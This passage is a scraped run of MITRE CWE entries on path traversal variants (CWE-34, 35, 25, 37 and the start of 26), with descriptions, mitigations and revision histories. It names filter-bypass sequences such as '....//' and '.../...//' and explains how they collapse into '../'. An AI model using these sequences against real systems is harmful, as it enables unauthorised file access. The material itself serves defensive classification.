Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '....//' (doubled dot dot slash) sequences that can resolve to a location that is outside of that directory.
+ Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

The '....//' manipulation is useful for bypassing some path traversal protection schemes. If "../" is filtered in a sequential fashion, as done by some regular expression engines, then "....//" can collapse into the "../" unsafe value (CWE-182). It could also be useful when ".." is removed, if the operating system treats "//" and "/" as equivalent.

+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.23Relative Path Traversal
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.182Collapse of Data into Unsafe Value
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity

Technical Impact: Read Files or Directories; Modify Files or Directories

+ Observed Examples
ReferenceDescription
Mail server allows remote attackers to create arbitrary directories via a ".." or rename arbitrary files via a "....//" in user supplied parameters.
+ Potential Mitigations

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.

Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Effectiveness: High

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
+ Detection Methods

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Source code Weakness Analyzer
  • Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
  • Formal Methods / Correct-By-Construction

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.981SFP Secondary Cluster: Path Traversal
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1404Comprehensive Categorization: File Handling
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

This could occur due to a cleansing error that removes a single "../" from "....//"
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVER'....//' (doubled dot dot slash)
Software Fault PatternsSFP16Path Traversal
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Relationship_Notes, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Description
2009-07-27CWE Content TeamMITRE
updated Potential_Mitigations
2010-06-21CWE Content TeamMITRE
updated Description, Potential_Mitigations
2010-12-13CWE Content TeamMITRE
updated Relationships
2011-03-29CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Observed_Examples, Relationships
2014-07-30CWE Content TeamMITRE
updated Detection_Factors, Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2021-03-15CWE Content TeamMITRE
updated Potential_Mitigations
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Path Issue - Doubled Dot Dot Slash - '....//'

CWE-35: Path Traversal: '.../...//'

Weakness ID: 35
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '.../...//' (doubled triple dot slash) sequences that can resolve to a location that is outside of that directory.
+ Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

The '.../...//' manipulation is useful for bypassing some path traversal protection schemes. If "../" is filtered in a sequential fashion, as done by some regular expression engines, then ".../...//" can collapse into the "../" unsafe value (CWE-182). Removing the first "../" yields "....//"; the second removal yields "../". Depending on the algorithm, the product could be susceptible to CWE-34 but not CWE-35, or vice versa.

+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.23Relative Path Traversal
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.182Collapse of Data into Unsafe Value
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity

Technical Impact: Read Files or Directories; Modify Files or Directories

+ Observed Examples
ReferenceDescription
chain: ".../...//" bypasses protection mechanism using regexp's that remove "../" resulting in collapse into an unsafe value "../" (CWE-182) and resultant path traversal.
".../....///" bypasses regexp's that remove "./" and "../"
+ Potential Mitigations

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.

Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Effectiveness: High

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.981SFP Secondary Cluster: Path Traversal
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1345OWASP Top Ten 2021 Category A01:2021 - Broken Access Control
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1404Comprehensive Categorization: File Handling
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVER'.../...//'
Software Fault PatternsSFP16Path Traversal
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Description, Relationships, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Description
2008-11-24CWE Content TeamMITRE
updated Observed_Examples
2009-07-27CWE Content TeamMITRE
updated Potential_Mitigations
2010-06-21CWE Content TeamMITRE
updated Description, Potential_Mitigations
2010-12-13CWE Content TeamMITRE
updated Relationships
2011-03-29CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2021-03-15CWE Content TeamMITRE
updated Potential_Mitigations
2021-10-28CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Path Issue - Doubled Triple Dot Slash - '.../...//'

CWE-25: Path Traversal: '/../filedir'

Weakness ID: 25
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize "/../" sequences that can resolve to a location that is outside of that directory.
+ Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

Sometimes a program checks for "../" at the beginning of the input, so a "/../" can bypass that check.

+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.23Relative Path Traversal
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity

Technical Impact: Read Files or Directories; Modify Files or Directories

+ Observed Examples
ReferenceDescription
A cloud management tool allows attackers to bypass the restricted shell using path traversal sequences like "/../" in the USER environment variable.
+ Potential Mitigations

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.

Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.981SFP Secondary Cluster: Path Traversal
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1404Comprehensive Categorization: File Handling
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVER'/../filedir
Software Fault PatternsSFP16Path Traversal
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Description
2009-07-27CWE Content TeamMITRE
updated Potential_Mitigations
2010-06-21CWE Content TeamMITRE
updated Description, Potential_Mitigations
2011-03-29CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Observed_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Path Issue - Leading Dot Dot Slash - '/../filedir'

CWE-37: Path Traversal: '/absolute/pathname/here'

Weakness ID: 37
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product accepts input in the form of a slash absolute path ('/absolute/pathname/here') without appropriate validation, which can allow an attacker to traverse the file system to unintended locations or access arbitrary files.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.160Improper Neutralization of Leading Special Elements
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.36Absolute Path Traversal
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity

Technical Impact: Read Files or Directories; Modify Files or Directories

+ Observed Examples
ReferenceDescription
Multiple FTP clients write arbitrary files via absolute paths in server responses
ZIP file extractor allows full path
Path traversal using absolute pathname
Path traversal using absolute pathname
Path traversal using absolute pathname
Arbitrary files may be overwritten via compressed attachments that specify absolute path names for the decompressed output.
+ Potential Mitigations

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.

Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Effectiveness: High

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.743CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.877CERT C++ Secure Coding Section 09 - Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.981SFP Secondary Cluster: Path Traversal
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1404Comprehensive Categorization: File Handling
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVER/absolute/pathname/here
CERT C Secure CodingFIO05-CIdentify files using multiple file attributes
Software Fault PatternsSFP16Path Traversal
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2008-11-24CWE Content TeamMITRE
updated Observed_Examples, Relationships, Taxonomy_Mappings
2009-07-27CWE Content TeamMITRE
updated Potential_Mitigations
2011-03-29CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Relationships
2013-02-21CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2021-03-15CWE Content TeamMITRE
updated Potential_Mitigations
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Path Issue - Slash Absolute Path - /absolute/pathname/here

CWE-26: Path Traversal: '/dir/../filename'

Weakness ID: 26
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize "/dir/../filename" sequences that can resolve to a location that is outside of that directory.
+ Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

The '/dir/../filename' manipulation is useful for bypassing some path traversal protection schemes. Sometimes a program only checks for "../" at the beginning of the input, so a "/../" can bypass that check.

+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
